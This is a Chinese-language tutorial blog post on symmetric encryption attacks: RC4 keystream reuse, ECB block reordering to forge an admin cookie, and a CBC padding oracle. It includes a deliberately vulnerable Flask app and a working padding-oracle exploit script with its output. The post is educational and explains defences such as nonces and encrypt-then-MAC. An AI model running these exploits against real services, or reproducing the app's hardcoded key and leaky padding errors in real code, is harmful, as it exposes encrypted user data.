本文首發於我的博客: https://evilpan.com/2019/06/02/crypto-attacks/
對稱加密
當今我們所使用的加密算法,大致可以分為兩類,即對稱加密與非對稱加密。對稱加密可以理解為加密端和解密端使用相同的密碼進行加解密,而非對稱加密則在兩端分別使用公私鑰加密。其中非對稱加密所能加密的內容長度一般受密鑰長度的限制,且加密速度較慢,因此通常會與對稱加密算法結合使用,即使用對稱加密來對明文進行加密,再使用私鑰對對稱加密的密鑰、簽名進行加密。本文主要關注對稱加密。
對稱加密在消息通信的兩端共享相同密鑰,加密算法一般分為兩種類型:
- 流加密(Stream Ciphers):逐字節加密數據
- 塊加密(Block Ciphers):逐塊加密數據
其中塊加密的塊大小與具體加密算法的實現有關,常見的塊大小有128、256位等。
流加密
流加密會逐字節加密數據,最常見的流加密算法就是SSL中用到的RC4算法了。其本質上是以密鑰為種子(seed)產生的隨機數來對明文進行逐字節異或。
0 xor 0 = 0
0 xor 1 = 1
1 xor 0 = 1
1 xor 1 = 0
流加密本質上依賴於隨機數生成器的隨機性,其隨機性越強,加密強度就越大。
塊加密
塊加密也稱為分組加密,也是大多數人比較熟悉的。AES、DES、3DES、Towfish等常見的加密算法都是塊加密。在塊加密中,原始數據會被分割成若干個大小為N的塊,並分別對這些塊進行加密。由於我們不能保證數據是N的倍數,因此需要對數據進行填充(Padding),這增加了實現的復雜度。一般來說,與流加密相反,塊加密的解密流程和加密流程往往是不同的。
Padding
一種常見的填充方式是不論數據大小是否對齊塊邊界,都進行填充,而填充的內容為填充的字節數。比如塊大小為8字節,那么可能有以下填充:
- 'AAAAAAA' + '\x01'
- 'AAAAAA' + '\x02\x02'
- ...
- 'AA' + '\x06' * 6
- 'A' + '\x07' * 7
- '\x08' * 8
這就是PKCS#7中所定義的填充方式。
加密模式
塊加密算法對數據進行逐塊加密,有很多加密模式(mode)用於實現塊的加密。這些加密模式大都可以歸類為兩種,即ECB模式和CBC模式。
ECB
ECB全稱為Electronic CodeBook
,是塊加密中比較簡單的加密模式。在ECB模式中,每一塊明文數據都被獨立地進行加密來生成加密塊。這意味着如果你發現兩個加密塊有相同的內容,那么就可以確定這兩個加密塊的原文也是相同的。
這看起來好像沒什么大不了的,但我們可以考慮這么一種情況,比如要加密的對象是一張圖像,我們使用ECB加密算法,並且設置塊大小為8字節(DES),加密后的圖像如下:
雖然和原圖有所區別,但也足以明顯地看出原圖的大致內容。
CBC
CBC全稱為Cipher-Block Chaining
,算是最常見的塊加密模式了。在CBC模式中,每個明文塊都會在加密前被使用前一個明文塊的秘文進行異或;解密過程則正好相反。其中第一個明文塊會被使用IV即初始化向量進行異或。
由於CBC模式中各個塊會相互鏈接,在第一個加密塊(Block0)中翻轉某一位,則會在解密后導致對應的下一個明文塊中(Block1)相同的位進行翻轉。這項特性也導致了許多有趣的bug,后面會說到。
常見攻擊
下面我們來介紹一下在現實中很常見的一些加密算法缺陷所導致的攻擊場景。
流加密重用攻擊
也常稱為Stream Cipher Reuse Attack
,指多次使用相同的流加密密鑰可導致明文泄露。前面說過,流加密實際上是使用密鑰生成隨機序列,然后用該序列來對明文逐位異或加密。假設生成的隨機序列為C(K)
,加密函數為E()
,那么對於明文A、B來說,則:
E(A) = A xor C
E(B) = B xor C
進行簡單的數學運算:
E(A) xor E(B) = (A xor C) xor (B xor C) = A xor B xor C xor C = A xor B
這意味着如果攻擊者可以拿到A、B的密文E(A)、E(B),以及攻擊者自己的明文B,就可以在無需知道密鑰的情況下計算出A的明文:
A = E(A) xor E(B) xor B
眼見為實,我們使用RC4流加密為示例,首先使用openssl生成兩個文件的密文(使用相同密鑰):
$ cat 1.txt
hello
$ cat 2.txt
world
$ openssl rc4 -nosalt -in 1.txt > 1.enc
$ openssl rc4 -nosalt -in 2.txt > 2.enc
接着,在已知1.enc
、2.enc
以及2.txt
的情況下,還原1.txt
的內容:
#!/usr/bin/env python3
def load(file):
with open(file, 'rb') as f:
data = f.read()
print('loaded', len(data), 'bytes from', file)
return data
def xor(lhs, rhs):
return bytes(a ^ b for a, b in zip(lhs, rhs))
# A = load('./1.txt')
A_enc = load('./1.enc')
B = load('./2.txt')
B_enc = load('./2.enc')
print('E(A) =', A_enc)
print('E(B) =', B_enc)
print('B =', B)
print('A =', xor(xor(B, B_enc), A_enc))
輸出:
$ python3 stream.py
loaded 6 bytes from ./1.enc
loaded 6 bytes from ./2.txt
loaded 6 bytes from ./2.enc
E(A) = b'\xa1\xb1`\x1b\xa7\x97'
E(B) = b'\xbe\xbb~\x1b\xac\x97'
B = b'world\n'
A = b'hello\n'
在密鑰未知的情況下,依然成功還原了1.txt
的明文內容。防御這種攻擊的方法就是盡可能不要重用流加密的密鑰,常見的實現是在加密前將密鑰與隨機數nonce進行運算。
ECB塊重排攻擊
前文說過,在塊加密中ECB模式中每個塊都是獨立加密的。因此攻擊者可以在未知密鑰的情況下,對密文中的塊進行重新排列,組合成合法的可解密的新密文。
考慮這么一種場景,某CMS的cookie格式為DES-ECB加密后的數據,而明文格式如下:
admin=0;username=pan
由於DES使用的塊大小是8字節,因此上述明文可以切分成三個塊,其中@
為填充符號:
admin=0;
username
=pan@@@@
假設我們可以控制自己的用戶名(在注冊時),那么有什么辦法可以在不知道密鑰的情況下將自己提取為管理員呢(即admin=1)?首先將用戶名設置為pan@@@@admin=1;
,此時明文塊的內容如下:
admin=0;
username
=pan@@@@
admin=1;
我們所需要做的,就是在加密完成后,將服務器返回的cookie使用最后一個塊替換第一個塊,這樣一來就獲得了一個具有管理員權限的合法cookie了。
完整例子就不整了,這里只證明一下這種方式的可行性,首先使用DES-ECB加密明文:
$ cat admin.txt
admin=0;username=pan
$ openssl des-ecb -nosalt -in admin.txt > admin.enc
$ xxd admin.enc
00000000: 0293 07cd 88f3 026e c61e 1284 1a6e 6853 .......n.....nhS
00000010: e0b2 7169 3ee4 0b9a ..qi>...
然后修改密文,將前兩個塊(8字節)替換,然后使用相同的密鑰進行解密:
$ xxd admin1.enc
00000000: c61e 1284 1a6e 6853 0293 07cd 88f3 026e .....nhS.......n
00000010: e0b2 7169 3ee4 0b9a ..qi>...
$ openssl des-ecb -nosalt -d -in admin1.enc
usernameadmin=0;=pan
可以看到,該攻擊方法確實是對ECB塊加密算法有效的。
類似的利用方式還有在能夠解密的情況下,將其他密文的對應塊替換到自己的密文塊中,從而獲取其他密文塊的明文數據。比如上述例子如果可以通過cookie獲取用戶名,那么可以將其他密文塊放到用戶名部分從而獲取其他加密的信息。
該攻擊和其他類似的攻擊其實有一個共同點,我們無法獲取和猜解原始數據,但可以通過修改密文數據並讓服務器去成功解密。因此應對此攻擊的方法就很明顯了,即在加密后再添加MAC校驗。
注意這里說的是先加密后MAC,如果順序反了,那在處理數據時就要先解密再校驗MAC,這有可能會導致一系列安全問題,比如下面將提到的密文填塞(Padding Oracle)攻擊。
Padding Oracle Attack
在介紹該攻擊之前,可以先回顧一下關於填充的知識。在PKCS#7系統中,我們可以通過最后一個塊的最后一個字節得知填充的大小以及校驗填充是否合法。
密文填塞(Padding Oracle Attack)攻擊通常出現在CBC塊加密模式以及PKCS#7填充的情況下。如果服務器在解密數據時對於填充合法的密文和填充不合法的密文有不同的返回,我們就能利用這種先驗知識(Oracle)來填塞數據。
再回想一下我們介紹CBC塊加密時說過,在一個加密塊(Block N)中翻轉某一位,則會在解密后導致對應的下一個明文塊(Block N+1)中相同的位進行翻轉。由於這個特性,我們可以在不知道密鑰的情況下,使用服務器來猜解出明文數據。
最后一字節
具體怎么做呢?再次仔細思考一下CBC模式的解密流程,若要解密一個塊,則需要其本身的密文C2以及前一個塊的密文C1,解密的流程如下:
在這種攻擊場景下,我們(攻擊者)可以控制輸入密文塊的內容,並且獲取服務器的差異化返回,即是否填充錯誤。假設C2是最后一個塊,那么通過變異C1,就可以猜解C2明文。猜解過程如下:
- 將C1前15字節隨機設置,第16字節設置為'\x00'
- 將修改后的密文塊發送給服務器解密
由於我們修改了C1的最后一個字節,那么根據上文介紹,在解密后C2的明文P2最后一個字節也會進行改變,變成什么我們還不知道,但是我們知道:
P2[15] = I2[15] xor C1[15]
其中I2是解密算法如AES解密后的中間值,我們不關心具體解密算法,但總有這么個值。然后,根據服務器的返回我們知道有兩種可能:
- 返回填充不合法。此時
P2[15]
未知。 - 返回填充合法。此時
P2[15]
肯定為0x01
,因為只有這樣才能出現合法的填充。
如果是第一種情況,我們就繼續變異C1[15]
,直到出現合法的填充,即第二種情況。假設我們在變異到C1[15] = 0x42
時才出現合法填充,則此時有:
P2[15] = I2[15] xor C1[15]
I2[15] = P2[15] xor C1[15] = 0x01 xor 0x26 = 0x27
回顧一下上圖,I2的產生與C1無關,只與C2和密鑰key相關,但是我們卻計算出了I2[15]
的值!因此我們可以用I2[15]
異或上變異前的C1[15]
從而獲得原始的明文。
P2[15] = 0x27 xor C1[15]
這就是Padding Oracle攻擊的思路。
下一個字節
為了完成攻擊,我們繼續使用類似方式猜解I2中更多的內容。
- 將C1前14字節設置為隨機值
C1[14]
設置為0x00C1[15]
設置為能令P2[15] = 0x02
的值
P2[15] = I2[15] xor C1[15]
C1[15] = P2[15] xor I2[15] = 0x02 xor 0x27 = 0x25
即將C1[15]
固定為0x25,繼續爆破C1[14]
知道出現合法的填充,此時P2[14]=0x02
,假設出現合法填充時候爆破的C1[14]
值為0x68:
P2[14] = I2[14] xor C1[14] = 0x02
I2[14] = P2[14] xor C1[14] = 0x02 xor 0x68 = 0x6A
再一次,我們獲得了真實的I2[14]
值,從何可以算出原始的明文P2[14]
。以此類推,最終我們可以計算出完整的明文P2內容。
下一個塊
根據上述方法,我們已經可以還原最后一個密文塊的明文了。而對於CBC模式,每個密文塊的解密僅和當前塊以及前一個塊相關,因此上述攻擊可以應用到所有塊中,除了第一個。
第一個塊的加解密使用初始化向量IV進行,對此沒有通用破解方法。但是CBC加密中IV也不是必須保密的,因此在實踐中通常會組合到密文的最前面或者最后面,其長度和塊大小相同。如果一定要解密第一個塊,可以使用這種猜測方法。
示例
實踐出真知,我們來看一個具體的例子。首先用Flask寫一個簡單的應用,如下:
#!/usr/bin/env python3
import binascii
import string
import random
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from flask import Flask, request
app = Flask(__name__)
db = {}
BSIZE = 16
secret = b'\x26' * BSIZE
def get_iv():
return b'\x00' * BSIZE
def decrypt(data):
data = data.encode()
data = binascii.unhexlify(data)
iv = data[:BSIZE]
engine = AES.new(key=secret, mode=AES.MODE_CBC, iv=iv)
data = data[BSIZE:]
data = engine.decrypt(data)
data = unpad(data, BSIZE)
return data.decode()
def encrypt(data):
data = data.encode()
iv = get_iv()
engine = AES.new(key=secret, mode=AES.MODE_CBC, iv=iv)
return binascii.hexlify(iv + engine.encrypt(pad(data, BSIZE))).decode()
@app.route('/dec/<data>')
def dec(data):
# print('dec:', data)
try:
key = decrypt(data)
except Exception as e:
return 'Error: ' + str(e)
if key not in db:
return 'Error: invalid key'
return db[key]
@app.route('/enc/<key>')
def enc(key):
db[key] = 'valid'
return encrypt(key)
app.run(debug=False)
該應用可以接收一個明文返回其密文(enc),也可以接收密文返回對應信息。
$ curl http://localhost:5000/enc/See_you_in_Red_Square_at_4_pm
00000000000000000000000000000000c8ab1c881b40d54d81d1efab429ad239dac1d6573e7c26d533ffc3cbc23a8455
$ curl http://localhost:5000/dec/00000000000000000000000000000000c8ab1c881b40d54d81d1efab429ad239dac1d6573e7c26d533ffc3cbc23a8455
valid
$ curl http://localhost:5000/dec/00000000000000000000000000000000c8ab1c881b40d54d81d1efab429ad239dac1d6573e7c26d533ffc3cbc23a8466
Error: Padding is incorrect.
作為攻擊者,我們拿到的只有加密后的信息,目的就是要將其解密,查看明文內容:
00000000000000000000000000000000c8ab1c881b40d54d81d1efab429ad239dac1d6573e7c26d533ffc3cbc23a8455
方便起見,我們假設已知服務器使用的是AES-128-CBC
加密算法,且IV組合在密文頭部。其實不知道也沒關系,只不過需要多試幾次罷了。根據前面介紹的原理,我們先將密文分割成128/8=16字節的3個塊:
block[0] = '00000000000000000000000000000000'
block[1] = 'c8ab1c881b40d54d81d1efab429ad239'
block[2] = 'dac1d6573e7c26d533ffc3cbc23a8455'
經測試,當服務器遇到填充錯誤會返回Error: Padding is incorrect.
或者Error: PKCS#7 padding is incorrect.
,那么這就可以作為我們Padding Oracle攻擊的依據。
首先將block[1]
最后一字節從0x00開始到0xff不斷變異嘗試,發現當值為0x3b時候出現了非Padding錯誤,此時:
I2[15] = _C1[15] ^ _P2[15] = 0x3b ^ 0x01 = 0x3a
則明文最后一字節為:
P2[15] = I2[15] xor C1[15] = 0x3a ^ 0x39 = 0x03
依此類推,不斷從后往前猜解每個字節的值。一個簡單的自動化腳本如下:
#!/usr/bin/env python3
import time
import requests
import binascii
url = 'http://localhost:5000/dec/'
data = '00000000000000000000000000000000c8ab1c881b40d54d81d1efab429ad239dac1d6573e7c26d533ffc3cbc23a8455'
BSIZE = 16
def test(data):
r = requests.get(url + data)
return r.text
b = binascii.unhexlify(data)
nblocks = int(len(b) / BSIZE)
blocks = []
print('nblocks:', nblocks)
for i in range(nblocks):
blk = b[i*BSIZE: (i+1)*BSIZE]
print(f'block[{i}] =', binascii.hexlify(blk))
blocks.append(blk)
print('iv:', b[:BSIZE])
blockID = -1
prevID = blockID - 1
print(f'decrypting block[{blockID}], prev =', binascii.hexlify(blocks[prevID]))
plaintext = bytearray(16)
inter = bytearray(16)
for byteIdx in range(BSIZE-1, -1, -1):
prevBlock = bytearray(blocks[prevID])
print(f'mutating block[{prevID}][{byteIdx}]')
origin = prevBlock[byteIdx]
padValue = BSIZE - byteIdx
# 將byteIdx之前的值可以任意隨機設置
for i in range(byteIdx):
prevBlock[i] = 0x11
# 將byteIdx之后的值設置為令其明文為padValue的值
for i in range(byteIdx + 1, BSIZE):
prevBlock[i] = inter[i] ^ padValue
print('begin:', prevBlock.hex())
found = False
for val in range(0x100):
prevBlock[byteIdx] = val
_blocks = blocks.copy()
_blocks[prevID] = bytes(prevBlock)
payload = b''.join(_blocks)
payload = binascii.hexlify(payload).decode()
resp = test(payload)
# print(f'testing', binascii.hexlify(prevBlock), '->', resp, end='\r')
if 'incorrect' in resp:
continue
i2 = padValue ^ val
p2 = origin ^ i2
inter[byteIdx] = i2
plaintext[byteIdx] = p2
print(f'found c={val}, i={padValue}^{val}={i2}, o={origin}, p={p2}')
found = True
break
if not found:
print('Error: no valid value found')
break
print('plaintext =', plaintext)
運算結果為:
$ python3 padding_oracle_exp.py
nblocks: 3
block[0] = b'00000000000000000000000000000000'
block[1] = b'c8ab1c881b40d54d81d1efab429ad239'
block[2] = b'dac1d6573e7c26d533ffc3cbc23a8455'
iv: b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
decrypting block[-1], prev = b'c8ab1c881b40d54d81d1efab429ad239'
mutating block[-2][15]
begin: 11111111111111111111111111111139
found c=59, i=1^59=58, o=57, p=3
mutating block[-2][14]
begin: 1111111111111111111111111111d238
found c=211, i=2^211=209, o=210, p=3
mutating block[-2][13]
begin: 111111111111111111111111119ad239
found c=154, i=3^154=153, o=154, p=3
mutating block[-2][12]
begin: 111111111111111111111111429dd53e
found c=43, i=4^43=47, o=66, p=109
mutating block[-2][11]
begin: 1111111111111111111111ab2a9cd43f
found c=222, i=5^222=219, o=171, p=112
mutating block[-2][10]
begin: 11111111111111111111efdd299fd73c
found c=182, i=6^182=176, o=239, p=95
mutating block[-2][9]
begin: 111111111111111111d1b7dc289ed63d
found c=226, i=7^226=229, o=209, p=52
mutating block[-2][8]
begin: 111111111111111181edb8d32791d932
found c=214, i=8^214=222, o=129, p=95
mutating block[-2][7]
begin: 111111111111114dd7ecb9d22690d833
found c=48, i=9^48=57, o=77, p=116
mutating block[-2][6]
begin: 111111111111d533d4efbad12593db30
found c=190, i=10^190=180, o=213, p=97
mutating block[-2][5]
begin: 111111111140bf32d5eebbd02492da31
found c=20, i=11^20=31, o=64, p=95
mutating block[-2][4]
begin: 111111111b13b835d2e9bcd72395dd36
found c=114, i=12^114=126, o=27, p=101
mutating block[-2][3]
begin: 111111887312b934d3e8bdd62294dc37
found c=247, i=13^247=250, o=136, p=114
mutating block[-2][2]
begin: 11111cf47011ba37d0ebbed52197df34
found c=115, i=14^115=125, o=28, p=97
mutating block[-2][1]
begin: 11ab72f57110bb36d1eabfd42096de35
found c=209, i=15^209=222, o=171, p=117
mutating block[-2][0]
begin: c8ce6dea6e0fa429cef5a0cb3f89c12a
found c=169, i=16^169=185, o=200, p=113
plaintext = bytearray(b'quare_at_4_pm\x03\x03\x03')
這樣,我們就在無需知道服務端密鑰的情況下,成功還原了最后一個塊的明文。逐塊處理,就可以還原完整的內容了。當然還有值得優化的地方,比如爆破出最后一字節明文后,可以根據Padding原理直接跳過若干字節,加快爆破的速度,以及使用IV還原第一個塊等。
小結
本文介紹了生活中常見的對稱加密算法,包括流加密和塊加密。其中流加密為逐字節加密,類如RC4等算法容易受到密鑰重用攻擊的影響,導致攻擊者在無需知道密鑰的情況下還原密文;而塊加密將數據分割為一個個塊再分別進行加密,ECB中各個塊獨立加密,容易收到重排攻擊的影響,CBC中每個塊加密后會與前一個塊密文進行異或,在填充規律已知的情況下,容易收到Padding Oracle攻擊的影響。緩解密鑰重用的方式一般是增加隨機數nonce,而繞過密鑰獲取/修改明文的攻擊則可以通過對加密數據添加完整性保護(MAC)。加密算法本身沒有漏洞,但是使用不當也能導致嚴重的安全問題,關鍵是需要理解所使用的加密算法基本原理。